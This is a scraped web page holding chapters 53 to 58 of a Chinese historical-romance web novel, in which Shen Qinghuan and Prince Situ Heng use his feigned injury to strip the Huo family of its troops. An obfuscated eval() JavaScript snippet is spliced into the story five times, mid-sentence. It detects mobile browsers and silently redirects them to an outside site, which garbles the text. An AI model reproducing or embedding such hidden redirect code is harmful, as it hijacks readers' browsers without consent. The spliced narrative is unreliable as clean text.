“那你就去看看!”闵太后抓起来茶盏照着霍北恒的脑门子就砸下去了:“活不活得成都两说!哀家多疼惜先帝留下的这个遗腹子,说视如己出也不为过,霍云昭倒能耐大得很,为了争风吃醋就敢动杀心!真真是治家不严和教子无方就能遮掩过去的吗?” 霍北恒一把年纪,脑门起了个大包,茶汤顺着眉毛胡须往下滴答,茶叶贴在脸上,狼狈不堪也不敢擦拭,只能磕头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561869|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太后息怒,霍云昭惹祸在前,认打认罚。” “认打认罚?”闵太后冷哼:“若老九没事,一切好说,若老九不妥当,认打认罚不行,一命偿一命天公地道,你也不用在这里为难皇上,要说得理不饶人那也是哀家!” 霍北恒心里一片寒凉,他可以用雁门关要挟当今皇上,可要挟闵太后却不能,因这是皇上的亲娘老子,皇上一怒之下都能要了自己的项上人头。 这边霍家祖孙三代跪在御书房。 那边得了消息的沈清欢立刻出门,直奔尚药局。 尚药局后院的房间里看到躺在床上的司徒珩,问旁边守着的太医:“安王殿下如何?” “回沈四小姐,不太妥当,昏迷不醒又找不到原因。”御医说。 沈清欢坐在床边的小凳子上:“我陪着殿下,你去宫里请旨意,我三叔会岐黄之术,或许有办法。” 御医恨不得给沈清欢磕一个,他们都知道沈府的三爷是从药王谷学了本事回来的,前些日子当街救了林墨轩,那手段可不是一般人有的,如今尚药局摊上这么大的事儿,不管起因如何,安王若有的三长两短,他们都得脱一层皮。 御医出门去找院首进宫请旨。 沈清欢坐在床边,两手托腮的走神儿,这个时候肯定要让三叔来一趟,司徒珩当时也在龙首山,三叔做的事司徒珩肯定清楚,自己知道他们瞒着自己,但瞒不瞒着自己不重要,重要的是别耽误了正经事,这可是夺兵权的大好机会,不容错过。 “想什么呢?” 沈清欢吓一跳,抬头看司徒珩笑眯眯的看着自己,蹙眉:“你好大的本事,吓唬我可能耐了。” 司徒珩嘴角一抽:“我的本事可不是吓唬你的。” “那是啥?杀敌一千自损八百?”沈清欢冷声。 司徒珩望着沈清欢:“关心我是不是?” 沈清欢往外看了眼:“继续装死吧,等三叔来了我就走。” “你应该去宫里找太后哭一哭,并且表示就算我没了,你也要嫁到安王府。”司徒珩看着沈清欢,轻声说。 沈清欢轻轻摇头,压低声音:“安王殿下,我可不能做寡妇。” 第54章 沈清欢入宫求情,亮刀了 “如果,我能让沈清樾往漠北开始布局呢?”司徒珩依旧笑眯眯的看着沈清欢。 沈清欢立刻站起来:“好!我这就入宫去找太后表忠心。” “小姑奶奶,等三叔来了再走。”司徒珩伸出手抓住了沈清欢的手,她掌心里有冷汗,湿哒哒的,抬眸看沈清欢的时候收齐了笑意:“阿灼,我很好,放心吧。” 沈清欢坐下来,任凭他握着自己的手没吭声。 就算她一句话不说,司徒珩都觉得心里甜得像掉进了蜜罐里,若非害怕的厉害,怎么能手心里都是冷汗,只是嘴硬的很,不肯承认罢了。 御书房里,院首前来请旨。 霍北恒听说是要去请沈家老三,除了对靖安帝失望外,更对沈家多了忌惮,沈家看似忠君都有些愚痴了,可这位沈家老三却是个特例,虽然在京城声名不显,可但凡沈家有事,紧要关头都会有他的身影,这次也不例外,这对霍家是处处都不利啊。 靖安帝准了。 沈景行来到尚药局,见到司徒珩身边守着的是沈清欢,低声:“阿灼怎么可以跑到这里来?就算你们二人要完婚了,可毕竟还未曾出嫁,需待字闺中,速速归家去。” “三叔,先看看他吧,我心里怕得很。”沈清欢可怜巴巴的拉着沈景行衣袖,那担忧的模样是一点儿不作假。 院首柴道玄都忍不住心疼,他生平知己就一个沈良辅,这丫头是沈良辅最得意的孙女,瞅瞅这些日子因为婚事闹腾的,好不容易定下了,又起波澜,真是让人揪心。 沈景行只能过来给司徒珩诊脉,诊脉后起身请柴道玄来再诊。 两个人诊脉后坐在一旁,沈景行问:“柴老,您看着脉象如此虚弱,可有什么起死回生的妙法?或是晚生学艺不精,没有诊明白。” “安王是习武之人,按理说脉象异于常人,脉象确实微弱,这样的脉象有两种可能,一种是服用了龟息丸,一种是伤到了根本。”柴道玄说龟息丸的时候,抬眸看了眼沈景行。 沈景行眼睛一亮:“您老确实提醒了晚生,可如今该怎么办呢?” “老朽入宫去请旨,动用九死还魂草,练九星丹。”柴道玄说。 沈景行起身深鞠一躬:“安王虽是天家人,可也是沈家的半子,您老多费心。” 柴道玄点了点头起身要走,沈清欢过来行礼:“您老能带着我去宫里吗?我想要见太后娘娘。” “可。”柴道玄带着沈清欢离开。 沈景行来到床边,看司徒珩。 司徒珩缓缓的睁开眼睛:“柴道玄太聪明了。” “无妨,聪明人好办事,他入宫必定会为你说话,不然也不会带着阿灼了。”沈景行坐下来问:“几分把握拿到霍家兵权?” “三成,皇上可能会退而求其次,只是分出漠北兵马,霍家到底还是会回雁门关。”司徒珩说:“三叔,我要留在京城,让清越去漠北如何?” 沈景行看司徒珩:“让我兄长退?” “退也正当时。”司徒珩说:“兵权在手才是关键。” 沈景行点了点头,取出来银针给司徒珩顺全身经脉,他眸色深深,手底下的银针有条不紊,但心里非常清楚只要自己稍微错一针,就可以让司徒珩成为一颗废棋。 “三叔,我只要不死,保沈家太平。”司徒珩说。 沈景行勾了勾唇角,容色缓和了许多,他喜欢聪明人,司徒珩是个非常聪明的人,这很好。 沈家的太平确实需要有人保着,毕竟人不过匆匆不足百年岁月,但沈家一代代香火传承不可以断绝,除非天意如此,沈家不能逆天,但人祸不行,至少在自己活着的时候,绝对不可以。 宫里。 院首柴道玄御书房求见,沈清欢在门外等着太后。 闵太后得知沈清欢跟着过来了,起身从御书房里就走了,在门口看到双眼红红的沈清欢,伸出手把人拉进怀里:“阿灼莫怕,珩儿不会有事的。” “太后,阿灼不是害怕是心疼,刚刚从尚药局过来,殿下情况很不好。”沈清欢哽咽的说:“三叔都过去了,我听不懂他和院首说的话,但有一句我听懂了,今晚熬不过去人也就不成了。” 闵太后呼吸都重了,显然动了真怒。 “我和殿下说了,不管结果如何,我都会不离不弃,他好好的,我是安王妃,他若不好了,我就是安王遗孀。”沈清欢说。 闵太后拥紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567432|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清欢,良久才牵着她的手往御书房来。 靖安帝看到沈清欢的模样微微蹙眉,这是个他不喜欢的女子,此时眼圈红红的,神色萎靡,哪里有当日在金銮殿上的气势? “臣女拜见吾皇,吾皇万岁,万岁,万万岁。”沈清欢跪下,声音沙哑的出声。 一旁,霍北恒和霍崮都觉得沈清欢的声音犹如魔音贯耳,更像是云昭的催命符。 靖安帝倒是想起来了,这是个刚及笄的女子,心仪某人便会以为那就是自己的天,如今她这幅样子像极了天塌了一般,不看僧面看佛面,声音轻柔了些许:“你来何事?” 沈清欢跪伏在地:“来为霍小郎君求情。” 旁边太后脸色都变了,靖安帝更是十分意外。 “霍老将军镇守雁门关,保大夏安宁,其功卓著,为吾皇和万民枕戈待旦,祖父曾说霍老将军可抵得过半壁江山,乃武将之首。”沈清欢说。 靖安帝扫了眼霍北恒,见他脸色苍白如纸,心里冷笑,这就是他霍家处心积虑要求娶的姑娘,什么叫以退为进?什么叫兵不血刃斩敌于马下! 说是求情,可开口便是直奔兵权而去,他觉得司徒珩是个好用的人,这番话极有可能是他授意的。 沈清欢顿了顿:“只是臣女无德无才却误入了霍小郎君的眼,虽霍小郎君情急之下伤了臣女的未婚夫,可鲜衣怒马少年郎,只怪太年少。” “沈清欢,你别忘了,你很快就会成为安王妃了。”靖安帝冷声。 沈清欢声染哽咽:“是,臣女自知安王殿下十分抬举,更知天家对沈家厚爱,若安王殿下平安无事,臣女是安王妃,若安王殿下……臣女是安王遗孀,绝无更改。” “那你还为霍云昭求情?”靖安帝问。 沈清欢哽咽出声:“皇上,臣女将来是天家妇,要为江山社稷安稳着想,若遵从本心,臣女杀他的心都有,安王殿下曾对臣女说过,天下是天家的,也是百姓的,若无强兵镇国,会被人觊觎大夏**河山,臣女不敢因一己私情,爱护安王殿下,就伤霍家军心。” “吾皇明鉴,绝不会动摇霍家军心。”霍北恒哪里还敢让沈清欢说下去!这明晃晃的跟自己亮刀了啊! 第55章 上门,自取其辱 靖安帝看着沈清欢楚楚可怜的模样,心里更不喜了,当然沈清欢如此直接对霍家出手,确实于自己有利,兵权交割从来都不会太平,只不过闹腾到明面上的时候不多。 如今就要看霍家是不是够拎得清。 “霍爱卿,朕很为难啊。”靖安帝眉头紧锁:“可这件事闹腾起来的时候,各家世子都在,若轻拿轻放,以后京城那些世家子弟就很难约束了。” 这说的是实话,霍家最不愿意听又挑不出毛病的话。 若是重罚,那多重可就只能是皇上说的算了。 “起来吧,陪着太后去看看九弟。”靖安帝说。 沈清欢恭敬的起身,来到太后身边。 闵太后本意是不走,虽说不能直接弄死霍云昭,可动了自己心头肉,还想全须全尾回去是不可能的。 不过,沈清欢留在这里是不妥当,她护着司徒珩同样更疼沈清欢,起身的时候说了句:“皇上,哀家去看看老九,若是不妥当,哀家可不答应。” 靖安帝只能点头,等太后离开后,靖安帝才问:“柴道玄,你说的这些草药难道尚药局都凑不齐吗?” 柴道玄恭敬的回道:“我们只有百年的九死还魂草一株,九节茶、九龙藤、九里香和九头狮子草都年份差强人意,九香虫和九子不离母就算是尚药局也没有,臣和沈家三爷诊脉后觉得,除非凑齐上面这些草药,辅以百年人参和百年灵芝,才能让安王化险为夷。” 靖安帝眉头紧锁:“那就差人去寻来。” “皇上,沈家三爷说药王谷的谷主不日到京,在谷主女儿的陪嫁里有所需草药,只是药王谷是江湖门派,素来不愿意和朝廷有瓜葛。”柴道玄说。 靖安帝脸色一沉:“沈景行不就是药王谷的弟子吗?” “确实,但霍老将军之前所作所为,沈景行不肯帮忙。”柴道玄说。 靖安帝扶额,转过头看霍北恒:“霍爱卿,你觉得该如何啊?” “老臣去求。”霍北恒还能有什么话说? 靖安帝点了点头:“好了,退下吧,霍云昭先押入天牢,等等看安王状况如何,若无大碍,倒也有机会网开一面。” 霍北恒没办法,只能无功而返,回去的路上一肚子火,沈家倒是真敢,从这次回京请旨赐婚开始,处处跟霍家作对,如今反倒要求到沈家头上了。 翌日,霍北恒亲自备礼登门沈家。 沈良辅倒是没避而不见,请了霍北恒去书房落座。 “良辅啊,说起来咱们不至于交恶,如今我有难处,您得帮我啊。”霍北恒叹了口气说。 沈良辅打量着霍北恒:“要是只是之前想要求娶我的孙女,倒不至于交恶,可如今霍云昭都要打死我孙女婿了,你觉得老夫是脾气好,还是软弱无能任人欺辱?” “话不是这么说的。”霍北恒刚开口。 沈良辅冷哼一声打断了他:“那怎么说?文武联姻是大忌,你难道一把年纪都白活了?还要我告诉你不成?沈家险些被抄家,你觉得这是平白无故的飞来横祸?霍云昭给我那不争气的庶长孙女红鸾引,目的是什么还有我说?上不得台面的事少做了吗?反倒是还有脸到我跟前,还我得帮你?我帮你什么?” 霍北恒被骂的脸色涨红。 沈良辅瞥了一眼:“皇上觉得这是大事,那就是大事,皇上觉得这算不得什么,那就算不得什么,难道我还能越过了皇上去?霍北恒,我们前世有怨还是今生有仇?怎么霍家总是盯着沈家不放呢?” 霍北恒本就是武将出身,虽说年纪大了,养气功夫也长进了不少,可被人劈头盖脸骂可太少见了,都不记得上次挨骂是什么时候了,身边人都是毕恭毕敬的,哪里受过这样的委屈。 “你少在这里跟我发脾气,若不是你儿子从中作梗,皇上逼着我来求你,你以为我愿意来沈家?沈清欢到皇上跟前哭哭啼啼,说什么当寡妇,说什么为了江山社稷,还敢说不能动摇军心,老匹夫,文人都一肚子花花肠子,没憋好屁!”霍北恒一拍桌子站起来了。 沈良辅冷笑:“然后呢?” “然后?是想要分我霍家兵权!”霍北恒话出口就一下愣住了,不敢相信的看着沈良辅。 沈良辅朗声大笑:“好好好,霍北恒,你等我这就入宫去面见陛下,非要说说你这个分霍家兵权,我倒是没想到啊,朝廷每年拨款数额庞大,养活将士们镇守边疆,竟是你霍家的兵权了。” “你要害我!”霍北恒立刻拦住了沈良辅。 沈良辅噗嗤笑了:“我怎么害你了?” “你故意激怒我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570990|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我口不择言,再抓我小辫子。”霍北恒冷冷的盯着沈良辅。 沈良辅点了点头:“所以呢?” 霍北恒拂袖而去,不过没敢回家,他知道沈良辅这老狐狸什么都清楚,自己怎么也不可能给他机会去宫里找皇上嚼舌头,他确实早就看出来了,司徒珩此举就是为了霍家兵权,自己如今只要交出一部分兵权,霍云昭就能平安,只要霍云昭平安了,立刻离开京城回雁门关。 靖安帝看到霍北恒垂头丧气的模样,早一步知道沈良辅和霍北恒的对话了,只觉得沈良辅确实有手段,沈家都在帮司徒珩拿到兵权,还真是护犊子,沈清欢还没嫁过去呢,就如此处处帮衬,沈家确实不能用了。 “皇上,老臣年纪大了,心有余而力不足,悉心栽培云昭,只为了镇守边关后继有人,但云昭性鲁莽,少历练,确实难堪大任,雁门关到漠北相距七百里,鞭长莫及,所以请皇上调兵驻守漠北。”霍北恒跪在地上,老泪纵横。 靖安帝起身搀扶着霍北恒:“奈何朝中无人能担此大任。” “老臣手底下有三十万大军,分拨十万镇守漠北,至于什么人担此大任,老臣久居雁门关,并无人选,请皇上恕罪。”霍北恒说。 靖安帝让霍北恒坐下说话,示意太监奉茶。 良久才说:“如今,朝中也有心腹大患啊。” “皇上,您是说?”霍北恒当然知道靖安帝说的心腹大患就是沈良辅。 靖安帝抬头:“所以,霍爱卿也该知道,朕十分束手束脚,这样吧,明日早朝你再说漠北的事,朕也可以有个台阶下。” 霍北恒立刻跪倒在地:“谢主隆恩。” 隆恩不隆恩不知道,恨是恨到骨头里了,十万大军和漠北从此以后都不是霍家的了,昏君是什么都想要,文权,兵权,也不怕累死他! 靖安帝让霍北恒离开,起身去了后宫。 霍静纭怎么也没想到皇上**就敢行周公之礼,一头雾水的她很快就知道了靖安帝的心思了,她回到霍家,得知霍云昭险些打死司徒珩,为了保霍云昭,不得不让出漠北和十万霍家军后,只觉得自己这恩宠来的可笑至极。 在宫里跟聋子、瞎子毫无差别,这样的大事都没有听到一点点儿风吹草动,如今她到底该何去何从啊? 第56章 你是恨上了他对吧? 沈清欢守着司徒珩。 闵太后亲自来了一次,又差人来了两回,沈清欢都在,这让闵太后心里既高兴又难过。 夜深人静,司徒珩睁开眼睛看沈清欢迷迷糊糊的模样,心疼的轻唤:“阿灼。” 沈清欢立刻清醒了很多:“怎么了?” “到床上来睡。”司徒珩拍了拍自己躺着的床。 沈清欢翻了个白眼儿。 司徒珩反应过来,忍不住轻笑出声。 “你还要装多久?”沈清欢打了个哈欠,她是真的挺累。 司徒珩低声:“兵权到手。” “那可能不会很快。”沈清欢又打了个哈欠:“听说,霍静纭承宠了,还让回去霍家,但霍云昭被关押在天牢里,说是等你醒来呢。” 司徒珩抬起手枕在脑后:“慢慢来,总归跑不了。” “可是,霍北恒去求我祖父了,说是救你所需的草药只有药王谷有,还是我小婶婶的陪嫁呢。”沈清欢说:“祖父自不会答应,可霍家能就此善罢甘休?不得动**啊?” 司徒珩看沈清欢:“阿灼真是冰雪聪明,不过我早就安排好了人手,只要霍家懂了这个心思,派出去多少人就折损多少人,他不心甘情愿交出兵权,那就打到他心服口服。” 沈清欢噗嗤笑了:“到时候我哭哭啼啼去求小婶婶救你一命,小婶婶慷慨赠与,你就能活蹦乱跳了。” “确实如此。”司徒珩觉得沈清欢的法子是最管用的,这样的媳妇简直如虎添翼。 沈清欢问:“是你的想法,还是三叔的安排?” “我们两个人定下的计策。”司徒珩说。 沈清欢起身,伸了个懒腰到旁边的卧榻前,扯开了被子躺上去,翻了个身:“你也赶紧继续装,我困了。” 司徒珩看着沈清欢的后脑勺,心里像是吃了蜜糖,他要沈家,更要沈清欢,只要她在自己跟前,至少没有再出现过心口疼痛难忍的情形。 这里最安全,因霍云昭在天牢,霍家都恨不得求神告祖保佑司徒珩平安无事。 一连三天,闵太后和皇上都差人过来看司徒珩,得到的消息都是昏迷不醒。 靖安帝倒是不担心,毕竟这个计策是司徒珩献的,总不至于真就**,但闵太后担心啊,连着三天食之无味,听说哭了三天。 霍家这三天生不如死,霍北恒调动自己身边最强大的十二护卫,前往药王谷入京的必经之路,想要硬抢。 彻夜未眠,霍北恒等着消息,天色微亮的时候,浑身是血的护卫跪在门外,只说了一句:“失败了。” 气绝身亡的护卫只是回来送消息的。 霍北恒犹如被人割了肉一般,十二护卫是他精心培养了十五年的得意之作,竟一夜之间都折损了,他从来没有如此后悔来京城这一趟。 “父亲,这是逼着我们霍家啊。”霍崮低声说。 霍北恒怎么能不知道,甚至认为这边是靖安帝和司徒珩的计,可就算知道了又能如何?他取出来调兵令牌,放在桌子上。 霍崮神色凝重:“父亲,真的就只有这一条路了吗?” “若非云昭,我们可一走了之,但若不救云昭,我们未必能平安回到雁门关,十二护卫都能全面斩杀,或许从最开始皇上示意我们如今求娶沈清欢,就是想要对霍家出手,而非沈家。”霍北恒深吸一口气:“我们入宫去吧,唯有让他们得到他们想要的,我们才能回去。” 霍崮也知道没有别的法子,只能如此。 父子二人入宫面圣,霍北恒老泪纵横的说自己在沈良辅跟前受辱的事,颤巍巍的交出调兵令,请皇上务必救安王,哪怕安王好了之后要杀霍云昭,霍家都没有怨言云云。 靖安帝一脸为难:“如今,还有什么法子能求到草药呢?” 霍北恒跪在地上抹眼泪,心里都跳着脚在骂人了,自己若是知道,还用如此割肉一般放手兵权? “看来,朕要施恩沈家了。”靖安帝说。 霍北恒磕头在地:“吾皇护佑霍家,老臣铭记五内。” 父子二人离宫,圣旨就送到了沈府,沈清樾从金吾卫左将军一跃成为镇北将军,择日往漠北去。 沈良辅率领全家人谢恩后,沈景谦怀揣圣旨入宫了。 靖安帝看到沈景谦,不用他说话就知道所为何来,先发制人的说道:“朕被奸佞所误,让太傅心寒,实在悔不当初,太傅为国为民呕心沥血,更是为了朕让清越弃文从武,朕如今委以重任,实是晚了,不过亡羊补牢,倒也还能弥补一二。” 沈景谦跪在地上,尴尬至极,自己还没来得及说话啊,半天才说:“皇上,那就让臣换个闲职吧。” “景谦,这是为何?你跟朕虽不是亲兄弟,可在朕心里,你比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570991|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲兄弟更亲百倍啊。”靖安帝起身过来,扶沈景谦起身:“若有人敢背后非议,朕就治他罪。” 沈景谦抬头:“皇上,这是不行的,历朝历代哪里有如此先例?” “一门同文武,别人不行,沈家可,朕愿意。”靖安帝说。 沈景谦为难到额头冒汗:“皇上。” “不可再说,朕心意已决,只不过暂时不急,清越是清欢唯一的兄长,等安王大婚后再往漠北去也不迟。”靖安帝说:“这件事啊,还得求太傅入宫一趟,太后那边整日里落泪,朕十分担心啊。” 沈景谦只能揣着圣旨又回来了,并且随后沈良辅就入宫去面见太后了。 闵太后见到沈良辅,也是唉声叹气:“哀家以为这是一门好姻缘,可偏偏出了这么一档子事,阿灼说不在乎,可哀家舍不得啊,沈爱卿,若安王不妥当,哀家做主退婚,不会让阿灼受委屈的。” 沈良辅笑了:“太后娘娘,您是真心疼爱阿灼,这是阿灼的福气,安王如今虽说受难,可安王是个好命的人,必定会遇难成祥的,老臣入宫是受皇上所托,来劝劝您,这件事并没有那么严重。” “算他有心。”闵太后显然是猜到了为何司徒珩会受伤,霍家兵权交出来就是明证,真是越来越对靖安帝不满了,总觉得没什么本事还一肚子算计,伤了沈家这样忠臣的心,还利用司徒珩,他难道不知自己多在意这个儿子吗? 沈良辅笑着说:“到底皇上是您亲生的儿子,哪里能不疼您呢。” “哀家倒希望安王是亲生的。”闵太后自觉言语有失,话锋一转:“如今还有什么转圜余地?” 沈良辅说:“昨儿阿灼回去了一趟,找三郎哭哭啼啼的求草药,三郎只能让她去求药王谷的老谷主,若是求来了药,安王自然会药到病除的。” “弯弯绕绕,还不是得你给他擦屁股。”闵太后叹了口气说道:“阿灼是个好的,回头次成亲了,哀家必定疼着。” 沈良辅拱手谢恩:“太后娘娘,皇上下旨让清越镇守漠北,景谦虽然年纪不小了,可依旧是个嘴笨的,入宫面圣想要请皇上收回成命,结果话都没说出来,老臣舍了脸皮,想要求太后娘娘帮帮忙,沈家不可以破了先例啊。” “良辅啊,你是恨上了他对吧?不放心了是吗?”闵太后看着沈良辅。 沈良辅愣住了,这话怎么回? 第57章 有司徒珩做靠山,也不行 沈良辅长长的呼出一口气,摇头:“太后娘娘,老臣不是恨,是心凉了,当年太后是亲眼所见,先帝拂袖而去,江山和幼主,老臣寝食难安怕有人图谋不轨,恨不得长出来三头六臂,护江山社稷,等幼主成长为明君,但老臣这个太傅,失职啊。” 闵太后跟着叹了口气,她只能安慰沈良辅:“他是那个位子做得久了,不知天高地厚,沈家如今步步都对,既是让慕阳往漠北去,当去。” “太后娘娘,我如今不问朝政,身体日渐衰败力不从心,景谦本就资质略差,难堪大任,有心我们全家都弃文从武,不求一人之下万人之上,只求为国镇守边关,您觉得可行?”沈良辅恳切的看着闵太后。 闵太后心就一沉,不管沈良辅如何自责,甚至不惜自贬,说到底是想要退了,于公来说,沈家若退,朝中哪里还有肱股之臣?但论私情,沈家退得正好。 再看沈良辅,闵太后摇头:“还需机缘啊,绝非一朝一夕可成,那位不会轻易放走景谦的。” 虽说,历朝历代都说后宫不得干政,但沈良辅太了解闵太后了,当初幼帝尚不知事,她才是真正为国做主的人,换而言之,两个人之间是有君臣之谊的。 能得到太后这几句话,沈良辅已经知道闵太后的意思了,饮了杯中茶,起身告辞。 闵太后送沈良辅到门口,见他愈走愈远,出声:“良辅啊。” 沈良辅赶紧回头,躬身垂首:“太后。” “多保重身体,大夏需要沈家。”闵太后说。 沈良辅躬身更低:“老臣,退了。” 一片云,挡住了太阳,投下阴影,风起,刺骨的凉。 翌日,药王谷一行人到了京城。 沈良辅亲自迎接,两家姻亲关系无需遮掩,沈家也从没想过遮掩,哪怕言官说沈家和江湖勾结,沈家都不怕,还愁找不到机会让沈景谦致仕呢。 药王谷谷主钟承善已到了知天命的年纪,须发皆白的他面色红润,真应了那句鹤发童颜,跟沈良辅一见面,谈笑风生,十分投契。 沈家早就把南城的宅院收拾妥当,只等钟家进京暂时落脚。 等钟家人都安顿妥当,沈清欢亲自登门求药,带来了丰厚的礼物都不算,直接跪在门外了。 钟承善听到这消息就要起身,沈良辅抬起手拉住了他的衣袖:“钟大哥别急,这孩子是做给人看的。” “原来如此。”钟承善捋着胡须笑了:“沈老弟啊,说起来这京城里的人做事,那是表面客客气气,礼数吓人,背地里什么手段都用的出来,老哥我快到京城的时候,领教了一次。” 沈良辅笑道:“听说了,那些刺客只留下一个活口回来通风报信,余下的都被斩杀,钟大哥确实有雷霆手段。” 钟承善摇头:“是有贵人相助,沈老弟可否答疑解惑?” 沈良辅立刻把京城的事说了一遍,从头至尾事无巨细,听得钟承善几次都叹气,他从女儿的口中得知沈家不容易,但女儿和景行的婚事自己十分看好,这次进京其实也有帮衬沈家破局的意思,只是没想到未曾到京城,就先入局了。 这沈清欢重礼登门,却跪在门外没有让她进门,沈良辅和沈家人都在院子里,这就把京城里关心这件事的人都看懵了,其中自是有霍家。 众人猜测这沈家如此兴师动众迎接药王谷的人,其实是在为沈清欢求药做铺垫,之所以沈清欢被拒之门外,那就是药王谷没答应给药。 这消息迅速传遍了大街小巷,甚至还有人说药王谷的人半路遇袭,要沈家给说法,更有甚者说药王谷并非来送亲的,而是来退亲的,因沈家事太多,江湖中人都喜恣意洒脱,才不愿受这些约束,等等。 消息传到了霍家,霍北恒的心都提到了嗓子眼儿,他现在只盼着司徒珩能苏醒过来,那样皇上必定会放了霍云昭,届时霍家必定连夜往雁门关去,唯有回到了雁门关,才有重新拿回来一切的机会。 只是一直到日暮,沈清欢还是没能走进钟家暂住的院子,这可急坏了霍北恒。 殊不知,此时的钟承善也挺着急,厨房那边都准备好了接风宴,沈家女眷陪着钟灵,说着大婚事宜,这边沈良辅竟还有闲心跟自己下棋。 “沈老弟,孩子岁数小,这么折腾可不成。”钟承善说。 沈良辅摇了摇头:“还是差点儿火候。” 话音落下,就听外面有尖细的声音传来:“太后懿旨到!钟承善、钟灵接旨。” 钟承善看沈良辅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576709|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见沈良辅满意的笑了,心里忍不住吐槽,这些仕途中人,都是比猴子只少了一身**的存在啊。 钟承善、钟灵打开大门接旨。 太后懿旨简明扼要,赐婚沈景行和钟灵,赠十六抬嫁妆,准钟灵全副銮驾出嫁。 钟承善和钟灵接旨后,钟灵心疼的扶起了沈清欢,压低声音:“这一场罪遭得,你啊,太不爱惜自己了。” 沈清欢笑眯眯的说:“小婶婶要拿出来那么多好东西,若没有个显赫的背景,京城里那些个夫人小姐还以为小婶婶只是江湖中人呢,一举两得咱们可不吃亏。” 钟灵心里头十分感激沈家,沈家何止抬举自己,这分明是要护自己周全,如此殊荣别说自己一个药王谷的江湖女子,就是京城勋贵家的嫡长女也难以获得。 当晚,非但钟家拿出来了所需草药,钟承善和钟灵在沈景行的陪同下来尚药局,据说三人合力,从鬼门关把安王殿下的这条命给抢回来了,至于真假,谁敢考证? 安王醒来第一件事就要杀霍云昭,要不是还不能下床,都要入宫求皇上做主了,当晚不止太后去了,得知安**醒,皇上也去了。 霍家心惊胆战的等着消息,天蒙蒙亮,霍云昭被秘密送回霍家,皇上口谕,立刻让霍云昭离京,太后护短的厉害,怕太后出手。 霍北恒谢恩,天还亮就急匆匆离开京城,有人传言跟霍家入京的声势浩大比起来,离开的时候颇有几分抱头鼠窜的狼狈不堪。 安王府里。 司徒珩躺在床上,笑眯眯的看着沈清欢。 沈清欢翻了个白眼儿:“你倒是享福了,往这里一趟什么事都没有,可大哥就惨了,这几天彻夜不眠的啃兵法,真担心去漠北行不行。” “有什么不行?用不了几个月祖父他们也会去漠北,再说了,漠北那边早就安排好了人手接应,放心吧。” 沈清欢突然面色凝重起来,看了眼司徒珩,她想到了庞开,那个轻薄侮辱自己的混账东西,重活一世,必定要亲手杀了他!就算有司徒珩做靠山,也不行! “阿灼,三叔的婚期可定下来了?在咱们之前还是之后呢?”司徒珩见沈清欢突然露出杀气,心口止不住又一阵疼…… 第58章 你觉得我回去沈家一趟,如何? 沈家为沈景行和钟灵择良辰吉日,择到了转过年的三月十六日。 沈清欢知道三叔是为了自己着想,婚事相差百日无妨,若相差不足百日,新人是不能见面的。 钟家欣然应允,可想而知小婶婶多么的体谅三叔。 沈清欢准备了丰厚的添妆,跑来南城老宅里。 老宅提前就修葺一新,如今钟家父女才来几日,这老宅的气象都变了,院子里弥漫着药香,几个十几岁的小药童凑到一起,三两成群的研习岐黄之术。 钟灵亲自到门口迎接,看到后面仆从抬着大小箱笼,笑道:“你这丫头是比我还洒脱,一点儿礼数也不顾,哪里有给未来婶娘添妆的?” 